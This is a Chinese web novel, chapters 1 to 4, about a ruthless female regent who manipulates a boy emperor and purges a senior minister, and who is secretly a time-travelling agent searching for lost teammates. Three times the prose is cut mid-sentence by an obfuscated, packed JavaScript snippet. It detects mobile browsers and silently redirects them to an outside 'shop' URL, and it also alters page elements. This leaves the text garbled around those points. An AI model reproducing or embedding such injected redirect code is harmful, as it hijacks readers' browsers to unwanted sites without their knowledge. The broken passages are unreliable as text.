《改变be结局的我成了唯一美强惨》 1. 奸臣当道 “陛下年纪尚轻,军国事重,皇太后辅政多年,练达庶务,因此臣请太后同于听览。” 此话一出朝堂瞬间寂静,坐于高位之上的皇帝则瞬间捏紧了龙椅旁的龙头。 他九岁登基,太后便垂帘听政,统管朝政整整六年。 如今他掌权没几个月,就已经有大臣请求太后重新掌权了,上奏的人还是自己最信重的臣子之一。 周玄祁静静的看着大殿之下仍旧在跪伏上奏的臣子。 可如今满朝文武都保持了缄默,他们都心知肚明,这个理由仅仅是一个让太后重新亲政的借口。 他们都想让太后回来。 或者说,他们都觉得他这个皇帝当的不行。 周玄祁目光一一划过每一个人身上,并不是每个人都想让太后回来。 周玄祁最后将目光定格在一人身上,造成这个局面的罪魁祸首。 “摄政王觉得呢?” 这一句话,激起千层浪。 不复之前那般寂静,整个朝堂如同被溅了水的油锅一般,开始蠢蠢欲动起来,皇帝一党反应尤为激烈,似乎下一秒就要上前谏言。 可只有那么一人,神情不变,仿佛周遭万物都没能影响她分毫。 在这金銮大殿前,文武百官皆朝衣朝冠,冠袍带履,依序而立,唯她一人青丝高束,立于殿前。 虽朝服加身,却是金冠玉带,在一众幞头纱帽中格格不入,身形在人群中虽不高挑,甚至格外纤细,却清隽修长,神清骨秀。 最重要的是,这是一个女子。 在仍旧是男子为尊的朝代中,在这天下最尊贵的金銮大殿之上,女子之身未于一人之下,立于百官之前。 只因她是权盖京都,万人之上的摄政王。 毕竟如今皇权式微,权归女主。 大兴的摄政王,和太后一同执掌了六年王朝,在太后还政后,她更是成为了朝堂中说一不二的掌权人。 摄政王,也就是李予微,她并没有抬头看向周玄祁,反而将目光转向了跪在中央的人,许久才缓缓开口,声音略微沙哑: “徐大人倒是对太后娘娘忠心耿耿,此般请求是信不过陛下?觉得陛下处理不好这军国朝政吗?” 仅仅一句话,就像打开了某种开关一般,朝中便有大多数朝臣上前指责徐大人藐视皇权,并纷纷请求治其一个大不敬之罪。 徐大人本来在陛下开口时就心中一凉,如今听此话更是转头怒视那玄衣女子。 藐视皇权?天下谁有她李予微藐视皇权! 这人实在成不要脸!他这般请求是因为谁?! 别看女子周身气质温和,言行举止又清淡有礼,却无一人敢小瞧那浑身气质下的狠厉手段。 要知道与摄政王势力一起覆盖京都的,还有她那如修罗恶鬼般残暴血腥的名声。 她手里的金吾卫可以事先无令就直接杀到人家府上,血洗一整个家族,曾经最严重时甚至朝堂都空了大半! 有人上报弹劾其血腥残暴,手段狠辣,可每次都被高高拿起,轻轻放下,她本人任何事都没有。 更别提如今太后还政,小皇帝哪里握的住这把嗜血凶器?只怕会被凶器反杀。 不管怎么说,太后听政时,李予微还是收敛的,所以才会出现今日朝堂之上,保皇党请求皇帝,让太后重新临朝听政。 可他们却没想到,小皇帝居然挑了不愿太后回来的摄政王来问。 尤其是徐大人,此刻被摄政王一党纷纷指责,仿佛不重罚他天理难容一般。 好在小皇帝并没有对这件事并没有下达处罚,甚至口头批评都没有,还是和他们是一个战线的,只不过太后听政一事仍旧被驳回了。 朝臣们痛心疾首,而金銮殿上的玄衣女子看向龙椅上的小皇帝,轻笑一声,意味不明。 周玄祁注意到了对方的神情,不知怎么,脑海中突然回想起昨日对话时情景。 【“太后体弱不宜见人,至于陛下担忧之情臣会转达的,而陛下与其担心这里,不去好好处理朝政。” “朝中总有人自身职务不处理好,就不顾太后娘娘身体一味要求娘娘听政,不若陛下好好处理这些人,也好让娘娘看看陛下亲政后的能力。” “说不定太后见到后一个心情好,身体也就好了,就能够接见陛下了。” “陛下要是实在处理不来,不如臣来帮陛下分忧如何?”】 周玄祁心中有些不安,只是再去看,女子面上已经没有什么表情了。 太后听政事暂且搁下后,却有人主动站了出来,最近朝堂上最大的就是税粮一案。 去年岁末,有百姓因地方官严苛重税,中饱私囊,最后导致家破人亡,所以拼尽一切到京城告上御状。 此事一出,周玄祁就命大理寺卿严查,经调查,却发现多地地方官私吞赋税,损失精粮数额巨大,涉及银钱数目更是到了一个恐怖的数字。 此案一出震动朝野,小皇帝大怒,可大理寺查到最后却很难再出结果,官官包庇根本捏不住证据。 最后许是朝堂吵的太厉害,惹得烦了,还是李予微亲自带着金吾卫,用着一些根本站不住脚的理由,强行将几个怎么都捏不住证据的几个人押了回去。 这才将案子推进下去。 只是这般行为确实有所诟病,事后还因此被许多官员上书弹劾。 但就算如此,周玄祁也不得不说这个案子有她的功劳。 到了如今案子已经接近尾声,大理寺卿站出来便是汇报相关审查结果。 汇报完毕后,朝堂一阵轩然,所有人都没想到此案牵连之广,六部之中有五部都牵扯其中。 就在下面议论纷纷之时,忽然一道微哑女声响起,声音不大,却慢悠悠的穿透了整个朝堂。 “方才报上来的一串人名里,我怎么听着有不少都曾经是中书令的门生啊,中书令听着呢?可是我听错?” 中书令张若朴,正二品,官行宰相之职。 所以说在朝廷中敢质疑他的人少之又少,更别提他还是三朝老臣,不仅担任过先帝老师,还曾与先帝一起定天下,有从龙之功。 可最重要的就是,中书令张若朴,是保皇一党为首官员,而说出这话的偏偏就是与之为敌的摄政王。 摄政王之心,昭然若揭。 此话一出,张若朴更是心头一跳,当即出列,却是请罪: “陛下恕罪,是臣教导管束不力之责。” 只不过张若朴话音刚落,朝中就有一片朝臣为之求情。 而此刻的周玄祁也是心中一沉,中书令可是父皇老师,对他而言亦是如师如父,他怎会怪罪? “张大人为官数载,历经三朝,先帝在时就奉令选才为官,门生没有上千也有成百,若因此便怪罪卿,岂不是朕这个当皇帝的欲加之罪了。” 这话说的刺耳,话语中的讽刺大臣们都听得出来,而张若朴更是随之附和。 “陛下明鉴,只是不知摄政王对老臣可有意见?” 可朝堂前的玄衣女子却仍旧云淡风轻,仿佛被讽刺的不是她一般,温言浅笑: “中书令说笑了,若论资历,您定是我的前辈,我哪敢有什么意见。” “只是其他人却是心有不满罢了。” 张若朴皱眉,这人要搞什么幺蛾子?却见话音一落,他身后远处一人上前几步,跪下高声道: “臣户部度支员外郎张恒,弹劾中书令张若朴以职务之便私吞赋税,搜刮民脂民膏,贪赃枉法,罪无可恕!” 此话一出,满堂喧然,张若朴更是不可置信的看向他。 不仅仅是因为他所诬告罪状,更因为这张恒可是他的亲侄子! 亲侄子状告亲叔伯,这一场家庭大戏可谓是热闹非凡。 而龙椅上的小皇帝,则是脸色沉的厉害,沉声道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588891|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“张恒,你可知你在做什么?论纲常你罔顾礼教,以下犯上,论伦理,他可是你的叔伯,你身为晚辈弹劾长辈,悖逆人伦。” “这桩桩件件,皆为重罪!” 而张恒丝毫不惧,还在高声陈述: “臣深知血脉相连,然国家法度森严,不容私情。自古忠孝难两全,今吾叔伯犯下滔天大罪,实乃家族之耻,国家之患。” “臣虽痛心疾首,但为维护国法,不得不忍痛弹劾,望陛下明察秋毫,严惩不贷!” 他话音一落,竟然身后不少人都跪地俯首,高声请求。 “请陛下明查秋毫!” 周玄祁的脸色更加黑沉了。 话都说到这个份上,任谁都看出张恒是铁了心要状告亲叔伯,而张若朴更是被他这一番话气的涨红了脸。 “胡说八道!张恒,我往日待你不薄,你今日怎可这般诬告于我?你说我私吞赋税,贪赃枉法,可有证据?” 张恒却丝毫不惧:“臣自然有,就是不知道张大人肯不肯认了!” 张若朴气急:“你这竖子小儿空口白牙一阵诬告,就想辱我一生清明?我告诉你,我张若朴自负一生为官为民,从不愧天下百姓半分!若你真有确凿证据,我张若朴绝不多说二话!” “不愧天下百姓半分……”李予微低声念了念,在唇齿间绕过几遍,猛然拔高声音:“好一个不愧天下百姓半分。” 李予微突然出声,神色不明,说话像是夸赞,却好像听出讽刺之意。 “就算被亲侄子弹劾,张大人也能如此笃定自信啊。” “那这件事便交给臣吧,金吾卫定会查明,还张大人清白。”李予微面向皇帝道。 李予微这话说的轻飘飘,却犹如一颗石子,瞬间激起千层浪。 “陛下不可!” “事件尚未查明,怎可命金吾卫进府中搜查!” “张大人为官数载,没有功劳也有苦劳,娘娘这么做,会寒了臣子的心啊!” “陛下三思啊!” 一瞬间整个金銮大殿一半的人都乌泱泱的跪了下去,龙椅上的周玄祁也几乎要跃然而起。 可还没等他开口,就注意到李予微忽然抬头,仿佛整理衣冠一般不经意的扶了扶发髻。 抬手间露出了一截皓白的手腕,和一个赤红通透的血玉镯。 而视线交汇间,周玄祁清楚的看到了她的口型,唇边还带着隐隐约约的笑意。 陛下,要三思呀…… 一瞬间朝堂的所有喧闹都仿佛远去,周玄祁就整个人僵在了原地,仿佛被定住一般。 几瞬后,周玄祁垂下了眼眸。 “既然如此,那就交给摄政王吧。” “不过张大人是三朝老臣了,若无确凿证据就妄加定罪,摄政王也无法向太后交代吧。” 周玄祁冷声道,这是他唯一能做的了,摄政王再嚣张跋扈,应该也不会丝毫不顾太后吧。 李予微笑意更深:“自然,不过在事情查明前,张大人就先不必操心朝政,在府里自省吧。” 这下就连张若朴都不可置信的看向龙椅上的人,可周玄祁也没再给其他人反应的机会,说完就疲惫的挥了挥手,转身离开。 “退朝吧。” 可与以往的跪拜礼不同,这次仍旧是一片请求声,只有一人面带轻笑,鹤立鸡群般立于原地,显得格格不入,朗声道: “恭送陛下。” 张若朴恨怒的看向她:“好一个摄政王……真是好本事!” “只是你这般做,不怕遭报应吗!” 玄衣女子渐渐收敛了笑意。 “报应……” 下一秒,金銮殿走进几个金甲护卫,将张若朴押解住。 李予微一步步走到他面前道: “张大人放心,报应落在我身上前,我一定让张大人先一步替我去探一探路。” “押走。” 2. 奸臣当道 散朝之后,李予微本想第一时间赶向大牢,可尺霜的附耳几句话,硬生生让她先改道去了未央宫。 轿辇停在了未央宫门口,春季返寒,风中带着一丝凉意。 李予微还没下轿辇,就透过幕帘缝隙看到了站在那里的周玄祁,垂眸敛住神色,抬腿下了轿辇。 尺霜给自家主子身上披上一件披风,披风厚重,将寒意挡的严严实实。 而周玄祁早早就在未央宫殿门前站着了,显然是一下朝就来了,却在金吾卫重重阻拦下进不去,只能站在门外。 刚入二月,春寒料峭,久立风中的周玄祁白皙的面容上带着一抹青寒。 相比之下的李予微呢,坐了一路的轿辇,一下来就被身后跟着服侍的尺霜捂得严严实实,半分风都吹不到。 李予微见到小皇帝也并未问安,更别提弯腰行礼,就跟没有这个人似的直接往未央宫进,可谓是嚣张至极。 而原本将皇帝拦在门外的金吾卫,更是在见到李予微时主动让开了路,这一点让周玄祁脸上青寒更甚。 “摄政王!” 声音夹杂着压抑的怒火,原本要直接进入未央宫的李予微还是停住了脚步。 “陛下何事?” 周玄祁手攥的死紧,嘴唇紧抿。 “孤已经按照你要求的做了,为何还不让朕见母后!” 朝堂上李予微不经意展露出的血玉镯,周玄祁一眼就认出那是母后的贴身之物,平日都是爱不离手。 朝堂中的大臣还觉得母后能够制约住这个人,可实际不仅母后,整个未央宫都在她的掌控之中。 而他也早就成为了空有其名的傀儡皇帝。 只不过或许是不愿自己动手,所以才会让他来处理朝堂上那些反对她的势力。 他不愿,便用母后的安危来威胁,迫使他不得不亲手折了自己的翅膀。 可如今他什么都做了,却仍旧被拦在了未央宫外面,一朝天子,却踏不进半分。 李予微就像没看到他眼中的愤怒一般,平静道: “陛下说笑了,太后凤体欠安,拒不相见是太后的旨意,我何曾要求过陛下做什么。” 周玄祁终于忍不住爆发:“你不要欺人太甚!丞相可别忘了,你能有如今地位都是母后给的!” 气氛一瞬间寂静了下来,金吾卫无声肃立,带着无尽肃杀之气,尺霜神色更冷,微微上前半步,看了看自家主子。 李予微沉默了几秒,神情并没有什么变动,只是目光扫过时落在了少年帝王被风吹的有些苍白的脸上: “臣记得,所以为了太后娘娘凤体着想,更不能让陛下加以打扰了。” 说完李予微转身就要离开,却被周玄祁一把拉住。 “摄政王!” 她身后的尺霜皱眉,欲上前一步却在她的眼神中又退了回去,而周玄祁攥紧她的衣袖,却并没有做什么,只是眼中挣扎。 李予微也就这么任由他抓着,几个呼吸后,少年帝王闭了闭眼,低声下气: “摄政王,母后身体不好,经不起折腾了,朝堂的事孤不敢让她再操心的。” “至于朝堂上……诸位爱卿只是误会了摄政王,朕会好好处理这件事,定会让他们明白摄政王对我大兴的赤胆忠心。” “只不过近日我昼夜不寐,时刻担忧着母后状况,不知如今身体如何,能否与孤见上一面?也好让朕安心。” 说到这里,周玄祁的声音已经带着微微颤抖,而他面前女子却迟迟没有声音,他的心也渐渐的沉入谷底。 良久,空气中突然响起一声轻笑,而他的手突然被拂开,就在周玄祁以为又被拒绝的时候,身上却突然多了一件披风。 这身上的重量让周玄祁一愣。 是李予微将她身上的披风给了他,虽然她是女子,但周玄祁不过少年,身形尚为彻底长成,没比她高多少。 这披风又十分宽大厚重,所以在周玄祁身上也是合适。 只是明明这披风刚从另一个人身上撤下,上面却并没有多少温度,披风上的淡淡冷香钻入鼻腔,竟让他有一瞬间不知所措的感觉。 而在周玄祁怔愣的目光中,李予微为他系好披风,似笑非笑道: “陛下要是早有这般觉悟,相信太后娘娘高兴之下也不会病了这么久。” “既然陛下如此担忧太后,待明日太后身体好些时定然会召见陛下。” “如今春寒未过,陛下还是莫要在风中久站了,早些回去吧。” 紧接着女子就对着他身后跟着的德良嘱咐道: “立刻送陛下回去。” 德良看了看自家陛下的神色,连忙低声应下。 之后李予微没再等周玄祁说话,先一步踏入了未央宫,而未央宫前的金吾卫,也在她踏入之后再次竖起了防卫。 周玄祁透过重重的侍卫看向女子远去的背影,在她卸下了披风之后,周玄祁好像轻而易举的就能看见这身形有多单薄。 就是这样一个女子,却如同乌云压城一般,死死的压在他的头顶,压的他几乎喘不过气来。 可恍惚间她好像又与记忆中的身影重叠,让他陷入一瞬间的茫然。 “陛下,该回去了。” 在德良的提醒之下,周玄祁仿佛才回过神一般,提步往外走。 身后的德良一直沉默的跟着,不知走了多久,回寝殿的路才走了一半,前面的身影却突然停了下来。 茫然抬头,似乎还陷在刚才的场景中,眼中是藏不住的迷茫。 “德良,你说为什么我们之间会走到如今这个样子?” 怀疑利用……反目成仇…… 明明很久以前,李予微……也是他下定决心想要保护之人。 脑海中又浮现起方才那人为自己系披风的模样,与记忆中那个为他正衣冠的人影不断重合。 只是记忆中的人似乎更加温暖,动作更加轻柔,在看见他时像是永远都带着浅浅笑意,像黑暗中零落的清浅月光。 那时的他年纪尚幼,是父皇唯一的皇子,年纪轻轻就成为了大兴朝的太子,得父皇独一无二的疼爱。 看似众星拱月,万千宠爱于一身,却也并非事事得偿所愿。 比如在他还很小时,就被身边人压在身上的责任,比如未央宫那扇永远不会对他打开的门。 在成为皇帝之前,他记忆中关于母亲的记忆都太少太少了。 七岁以前的记忆因为一场病都记不太清了,他只记得自己有记忆时就是太子,而成为太子后就一直住在东宫之中。 明明历朝历代的太子十六岁以后才住进东宫,在此之前都是和自己的母后住在一起的。 可是他没有。 不仅如此,除了偶尔在父皇与母后商量军国大事时与母后有过偶尔几次的碰面,平时无论是他晨昏定省,还是节日庆典,他都没再见过母后的身影。 更别提其他孩子都有过的,与母亲一起相处时光。 他一次次的跑去未央宫,除了必要的晨昏定省,甚至平时课余闲暇都要去未央宫找母后。 可未央宫殿内的屋门却从未对他开启过。 那时他太小,明明宫内的屋门却一次都没有对他打开过,明明知道是母后不愿意见他,他却仍就倔犟的在那里等,无论谁说都没有用。 未央宫的宫人都拿他没办法,这时候总会有一个人会主动过来,牵起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588892|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手,带着他离开。 他也不明白,为什么那时满屋子的宫女都都劝不动他,他却偏偏听那个人的话。 那时的李予微也只是母后身边的一个女官,但周玄祁就是对她有着无尽的亲近之意。 甚至有的时候,他对李予微的喜爱,胜过了那个总将他拒之门外的母亲。 也许是因为,在彼时的周玄祁眼中,李予微是那样的无所不能。 不仅仅是整个未央宫的宫人都听她的号令,就连父皇都会时常听取她的谏言。 也许是因为其他人做不到的事,在她的手里都好像是那样的微不足道。 似乎所有事都是那般的轻而易举,甚至连他无论如何都推不开的那扇门,她都能牵着他的手,轻而易举的踏进去。 也许是因为,那时的李予微太过温柔。 就连父皇对他的疼爱在很多时候都带着一国之君的严厉。 她却总是带着清浅的笑容,对他有着无尽的温柔。 纵容着自己拽着她去不同地方,做各种各样奇奇怪怪的事。 她像是永远不会批评他,似乎无论他做任何事。都会被面前之人尽数包容。 就像……真正的母亲那样。 是从什么时候开始变了的呢? 周玄祁思绪略微停顿。 大概是从父皇对她越来越重用,她身上的权利越来越高时。 或者是从他们见面的次数越来越少,而她身上的血腥味却越来越重开始的。 周玄祁记得那时他们隔了好久的时间没见面。 他仍旧每日去未央宫晨昏定省,却不再坚持一定要与母后见面。 他那时很想与她相见,却在御花园偶然相遇时,被她衣服上的血迹和身上的血腥给吓到,不肯向前半分。 他还记得那时李予微原本冷淡着脸,却在见到他时隐约要绽放的笑意,以及在看到他神情时瞬间苍白的面容。 她像是终于意识到自己的样子,头一次没有向他走来,仓促离开的步伐都带着几分落荒而逃的凌乱。 他那时是想追的,那时的他莫名觉得要是不追就再也追不上了。 却在想要抬脚时,因为刚才印入眼中的血色而迟迟抬不起步子。 没错,从那时起,他们真的就开始渐行渐远。 之后的他也意识到了当时自己的反应太过伤人,可无论他之后再怎么靠近,他们之间还是逐渐疏离。 随着他登上帝位,逐渐掌权,很多时候他们之间连面上的和平都要维持不住了。 更多时候是针锋相对,水火不容的。 怎么会这样呢? 身后的德良无法回答他的问题,他似乎也不需要这份回答。 在记忆中远去的不仅仅是那个清浅含笑的女子,还有曾经那个过分天真的他。 他们回不到过去才是理所当然的吧。 谁又能回到过去? 毕竟走到现在,双方都走到了这个你死我活的战场。 而他,是大兴的皇帝。 大兴的皇帝不需要犹豫迟疑之心,而大兴王朝也不需要蠹政病民之徒! 周玄祁也算当了这么多年的皇帝,对这个人也是有着一些了解。 他知道以她的手段,她不会让中书令活着有东山再起的机会! 中书令不仅仅是他尊敬的长辈,更是他朝中最大支持,一旦中书令下马,他就相当于被砍掉了翅膀,再也掀不起任何风浪,真的成为了一个傀儡皇帝! 既然如此,就只能另辟蹊径。 想让他束手就擒,他偏不! 渐渐的,他的眼中划过一抹狠厉。 李予微,是你逼我的。 3. 奸臣当道 另一边李予微进入未央宫后,尺霜就先塞她手里一个暖炉,一边小声嘀咕: “本来就是他自己要站在那里,说了不让进也不听,还得主子亲自请回去才肯回去,主子干嘛还把披风给他。” 李予微却觉得有些好笑道:“一朝天子要你一个披风都不行,你啊,越来越大胆了。” “娘娘呢?如今怎么样了?” 尺霜如实回答: “我刚问过说施针后好多了,如今已经睡下了,主子不若去偏殿先休息会,等娘娘醒来我再来通报。” “也好。” 李予微捻了捻自己的眉心,抬步去了偏殿,不让别人进来后,便整个人瘫倒在床榻上,闭上眼睛身体放空。 “小七,查到了吗?” 识海中一个Q版小人盘腿坐在中央,在它面前立着许多透明的光屏,上面不断变化着令人花眼的数据。 天道规则之下衍生了无数的小世界,为了统一管理这些世界,时空管理局就这样成立了。 在这些小世界中,除了正常运转的,还有很多没开发、开发一半以及即将崩裂的小世界,因为各种原因无法自我运行,所以需要人为干预。 于是时空管理局组集任务者成立了时空探索小队,去各个小世界完成任务,帮助世界意识拯救、完善小世界。 并对时空探索者的能力进行划分,从而来完成不同难度系数的时空任务。 微生他们就是‘生’字代号的一级时空探索小队,他们相互打配合,在兢兢业业工作这么多年后,他们终于打算完成最后一个任务,带着这么多年赚的养老本退休。 可谁也没想到,人有失足,马有失蹄,兢兢业业完成了这么多年,却在最后一个小世界里翻了船。 时空任务也是有风险的,一旦任务者过度沉浸小世界剧情,就会把自己当做小世界的人物从而忘记任务者身份,最后迷失在时空中。 他们小队在最后一个小世界就是这样,整个小队全部迷失,好在小世界任务结束后,微生及时清醒,可她的队友们仍旧迷失在小世界之中。 小七,也就是0987,是他们小队的任务系统,迷失状态的他们与时空局和小七断联,小七不知道在各个小世界飘了多久,直到微生清醒才重新联系上。 被迫成为流浪儿的小七在重新链接时喜极而泣,一人一统抱头痛哭几天后,微生在小七的带领穿梭下,踏上了唤醒队友的路上。 因为任务者的权能高于系统,所以小七只能大概判断任务者所在的小世界,却无法与迷失状态任务者联系上,只有任务者自己清醒,才能连接上系统。 不过唤醒队友的方式也很简单,就是让他们尽可能的产生剧烈的情绪波动。 情绪波动一旦超过角色本身规定范围,如果是任务者,就会被迫清醒。 而且这种情绪波动,最好反馈在微生这个唯一清醒的队员身上,这样清醒作用也就越大。 所以微生的任务,就是让他们对她产生大量的爱恨嗔痴,使情绪值达到顶峰。 不过微生要在容貌性格不同的角色中寻找自己的队友。 这个概率不亚于刮彩票。 她来到这个小世界已经很多年了,却仍旧没有确定队友身份。 好在任务者进入每一个小世界,都会成为小世界剧情中的主要角色,主角可能性最大,而这个小世界的主角之一就是小皇帝周玄祁。 所以她一直让小七探查周玄祁到底是不是任务者,她的队友。 小七拉出好几个光屏对比数据,皱紧了眉头。 “还是不能确定,但皇宫里肯定有任务者。” 微生也在心底划定了范围:“如今皇宫里主要人物就两个,小皇帝和太后,不是小皇帝就是太后。” 她还是觉得小皇帝更像一点,尤其小皇帝是主角,可能性也更大。 “不过我觉得他们的情绪值基本收集差不多了,小皇帝现在估计恨我恨得不行,只是为什么你那边仍旧没有显示?” 莫非情绪值还不够? 究竟多少才够啊! 微生有些颓然。 她现在很怀疑,这里真的有她队友吗! 小七看了看数据板,思考良久道:“会不会是小世界剧情结束后才被迫清醒显示连接,你上次就是这样。” 微生点点头,若有所思道: “既然如此,那我接下来就着重去抓江湖的主要角色了。” 这个小世界的设定是江湖和朝廷各占一半。 朝堂能够影响江湖势力,江湖能够更改朝堂格局。 世界意识在写好这一点设定后就放飞了,也没去看管调整,知道小世界出现崩溃,世界意识才发觉不对劲查看剧情。 而小世界剧情演变但朝廷势力独大,江湖势力却被朝廷不断打压。 所以原本一个在朝堂,一个在江湖,两个主角原本互相陪伴成长,如今却变得一家独大。 最后在江湖的主角更是半路夭折,导致小世界开始崩塌。 修改设定已经赶不上崩溃速度了,所以这个小世界已经被世界意识自己玩废了。 但小七探到这个小世界可能有她的两名队友,所以小世界还不能废,这么多年她硬是让剧情延续到了现在。 而且为了情绪值,光靠人物剧情肯定不够了,微生这么多年没少给自己加戏。 好在她队友流浪的小世界都是面临崩溃的小世界,怎么弄都没事。 只不过这些年她主要在朝堂上加戏,江湖那边还是有所忽略了。 就当她还在思考时,就忽然听见门外传来敲门声: “主子,斯南来信。” 微生睁开双眼,立刻直起身子。 “进。” 尺霜推门进来,奉上一张纸条。 微生接过纸条,上面只有一句话: ——归一剑法重现幽州城,武林各派意在幽州。 微生捏紧了纸条。 哦吼,机会这不就来了吗。 —— 大概是十年前吧,那时小皇帝还没登基,就连先帝都尚为安王时,那时的皇帝被后人称为戾帝。 不悔前过曰戾,不思顺受曰戾,知过不改曰戾。 可想而知戾帝是一个怎样的人。他因为自己个人的喜恶利益,使国家逐渐衰弱,狄戎趁机侵扰,百姓民不聊生。 许是正因为时局混乱,那个时期的江湖反而最为兴盛。 侠者以武犯禁,惩奸除恶,自以除天下之害为目标。 而彼时的江湖,群雄辈出,其中以一南一北两大门派最为出名。 南为浮生楼,以仁义走江湖。 北为点苍门,以武法定人心。 两大门派或结交,或收服各路英雄,势均力敌,他们皆持一套剑法,各称霸了江湖半壁江山。 只不过先帝登基平定天下前,时局混乱,其中最为让人遗憾的,就是这两大门派皆在那时局中突然一夜之间被大火吞噬殆尽,原因不知。 只知自此江湖势力衰弱,一南一北两套剑法也由此失传,销声匿迹,朝堂势力借机重新洗牌,这才有先帝登基。 而归一剑法,就是北边点苍门的独门剑法。 如今江湖虽然比不上朝堂势大,但朝堂多年来也未再压制,如今自由生长,更迭换代的江湖,早就不是当初两大势力各占半边了。 门派横立,虽然百花齐放,各有千秋,却再无一门一派,达到当年浮生楼和点苍门的门派盛况。 正因如此,两套剑法才被江湖人奉为圭臬,试图得到他们来重现当初的辉煌。 归一剑法只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588893|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点苍门嫡系会用,而目前在这世上的点苍门嫡系,李予微知道只有一人。 他到底想干什么?这么多年都销声匿迹,为什么如今突然出来,还让归一剑法重现世间。 李予微垂眸思量片刻,不知想到了什么,附耳对尺霜交代了几句。 既然江湖风云再起,那就让她把水搅得更乱一些吧。 但在此之前,中书令不能留了。 尺霜得令,却没有立刻出去,迟疑开口: “主子,太后娘娘醒了,只不过又打砸了不少东西,情绪很是激动,离素姑娘一直陪着,不停施针,这才冷静下来。” 李予微皱了皱眉:“不是说好多了吗?怎么会又如此严重?离素怎么说的?” “离素姑娘只说因情绪激动才引起的体内毒素翻涌,已经在压制了,这几日最好减少与之接触,过了这段时间就好了。” 离素是药王谷这一代传人,医术世间少有人及,她的话总是要注意的。 而且她现在状态也不适合去见太后,她目前主要目标还是中书令张若朴。 李予微眼中闪过一丝暗芒,最终开口: “那就派人守着,任何人都不得靠近,出现任何状况立刻报向我,期间尽可能满足其任何需要。” 李予微起身朝外走去,寒风随着门打开争先恐后的进入,带着干枯的枝叶和丝丝缕缕的寒意。 二月,姑苏的杏花也快开了。 —— 李予微刚出宫门,就碰到了在那里等了许久的张恒。 此刻的张恒褪下了官服,换上了一身文士服,脸色惨白,追着她轿辇的步伐还有几分踉跄,见轿辇停下,又弯腰行礼。 李予微并未下轿辇,只是掀开布帘,透过窗口上下打量着他,目光定在他身上,忽然笑了。 “看来小张大人这身体不错啊,这挨了二十板子,还能追着我这轿辇跑。” “怕是药都没能来得及上吧,却能换了一身衣裳,是该夸小张大人不愧是世代书香吗?到了此刻也不忘时刻注重仪容。” 李予微声音讥讽,张恒却只是沉默拱手作礼:“摄政王说笑了,草民如今已为白衣,自然不配再着官服了。” 状告亲族按律受了二十板子,满身功名尽消,无论状告成不成真,他这个官都做不成了。 李予微手搭在窗框上,手指轻轻敲打着:“小张大人如今这幅样子与今日金銮殿上大义灭亲之态简直判若两人,都差点都叫我认错了。” 张恒:“草民斗胆问摄政王可满意草民今天的表现。” 李予微拉长了音调:“嗯——我很满意。” 张恒:“那摄政王答应草民的事……” “嗯?” 李予微音调变了,微微侧首:“我有答应过小张大人什么事吗?” “摄政王!”张恒急了,当即就想上前,却被金吾卫远远的拦着,尺霜也上前一步护在她的身前。 李予微却轻笑一声:“哦——我想起来了,小张大人说的是你们张氏一族满门性命的事吧。” “小张大人怕不是问错了人,张氏一族满门的性命可不在我的身上,而是在于中书令他身上有多少的罪。” “是一人斩首,还是够灭几族。” 李予微放下了布帘:“现下我就要去处理小张大人上交的罪证了,小张大人还是在府中静候吧。” “小张大人放心,我不会让你等太久的。” 话落不等他说话,便不顾他如何,金吾卫就像押张若朴一般,将人押走了。 而李予微也的确没有让他等太久,天刚擦黑,街上就被清场,家家户户闭门不出,而金吾卫就持着刀兵整齐肃杀的冲进了张府,将整个府邸都团团围住。 “中书令,久等了。” 真的是……久等了。 4. 奸臣当道 夜幕低垂,寒风细雨,张府历经三朝,也是鼎盛之家,门庭若市,这朱红的大门不知喜气洋洋的迎接了多少客人。 如今却在一声闷声中碎裂,门轴断裂,木屑四溅,仿佛时间也被这突如其来的暴力撕裂。 金吾卫金甲森然、在火把摇曳中,他们手持利剑如潮水般涌入,他们的眼神冷冽如刀,没有丝毫犹豫与怜悯。 家丁侍女们四散奔逃,哭喊求饶声争相响起,李予微没有立刻进入,只是在大门前的轿辇中静静的听着这一切。 直到里面动静基本停了,只余哭喊声不绝于耳,这才捏着一叠签字画押好了的罪状缓步进入。 而府内院子里,张若朴、张恒、以及所有张氏亲族都被压着跪在了院中,李予微信步而来,率先走到了张恒面前,微微一笑: “只是不过才半天未见,小张大人怎么就如此狼狈啊。” 张恒此刻也同其他人一般被押在院中跪着,只是不同的是他面容红肿,上面浮现着清晰的巴掌印。 “看来这半天,中书令与小张大人交流的不是很好啊。” “小张大人,我说过不会让你久等的,你看,我这不就带着中书令的罪状过来了吗,我没有失约吧。” 李予微抬起手,在张恒面前展了展手中的罪状,这罪状,竟比张恒上交的厚了一倍不止,张恒逐渐瞪大了双眼。 